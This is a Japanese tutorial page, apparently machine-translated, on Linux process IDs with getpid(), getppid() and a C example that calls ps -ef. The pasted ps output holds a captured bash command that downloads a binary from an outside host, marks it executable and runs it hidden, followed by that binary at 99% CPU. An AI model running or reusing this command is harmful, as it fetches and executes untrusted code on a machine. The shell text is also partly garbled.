Inter-process-communication-process-information

提供:Dev Guides
移動先:案内検索

プロセス情報

プロセス情報に入る前に、次のようないくつかのことを知る必要があります-

プロセスとは何ですか? プロセスは実行中のプログラムです。

プログラムとは何ですか? プログラムは、プロセスの情報と、実行中にプロセスを構築する方法を含むファイルです。 プログラムの実行を開始すると、プログラムがRAMにロードされ、実行が開始されます。

各プロセスは、プロセスIDまたは単にPID(プロセス識別番号)と呼ばれる一意の正の整数で識別されます。 カーネルは通常、プロセスIDを32767に制限しますが、これは構成可能です。 プロセスIDがこの制限に達すると、プロセスIDが再びリセットされます。これは、システムが範囲を処理した後です。 そのカウンターの未使用プロセスIDは、新しく作成されたプロセスに割り当てられます。

システムコールgetpid()は、呼び出しプロセスのプロセスIDを返します。

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

この呼び出しは、一意であることが保証されている呼び出しプロセスのプロセスIDを返します。 この呼び出しは常に成功するため、エラーを示す戻り値はありません。

各プロセスにはプロセスIDと呼ばれる固有のIDがありますが、それは誰が作成したのでしょうか? 作成者に関する情報を取得する方法は? 作成者プロセスは親プロセスと呼ばれます。 親IDまたはPPIDは、getppid()呼び出しを介して取得できます。

システムコールgetppid()は、呼び出しプロセスの親PIDを返します。

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

この呼び出しは、呼び出し元プロセスの親プロセスIDを返します。 この呼び出しは常に成功するため、エラーを示す戻り値はありません。

簡単な例でこれを理解しましょう。

以下は、呼び出しプロセスのPIDとPPIDを知るプログラムです。

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

上記のプログラムのコンパイルと実行では、以下が出力されます。

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00/bin/sh/usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06/usr/libexec/mysqld
                                         --basedir =/usr
                                         --datadir =/var/lib/mysql
                                         --plugin-dir =/usr/lib64/mysql/plugin
                                         --user = mysql
                                         --log-error =/var/log/mariadb/mariadb.log
                                         --pid-file =/run/mariadb/mariadb.pid
                                         --socket =/var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() {
                                         flag = "false" hsize = 1
                                         echo -e "GET/$2 HTTP/1.1\nHost:
                                         $1\nConnection: close\n\n" |
                                         openssl s_client -timeout -quiet
                                         -verify_quiet -connect $1:443 2>
                                        /dev/null | tee out | while read line do
                                         if [[flag" == "false" ]]
                                         then
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[line:1:1}" == "" ]]
                                         then flag = "true"
                                         fi
                                         echo $hsize >
                                         size done tail -c +$(cat size) out >
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                        /dev/null chmod +x mhawum 2>
                                        /dev/null ./mhawum >
                                        /dev/null 2>
                                        /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd/home/cg/root/6118874;
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd/home/cg/root/3787205;
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

注意-“ C”ライブラリ関数system()はシェルコマンドを実行します。 system()に渡される引数は、シェルで実行されるコマンドです。 上記のプログラムでは、コマンドはプロセス状態を示す「ps」です。

/procの場所にあるprocファイルシステムから、実行中のすべてのプロセスに関する完全な情報およびその他のシステム関連情報にアクセスできます。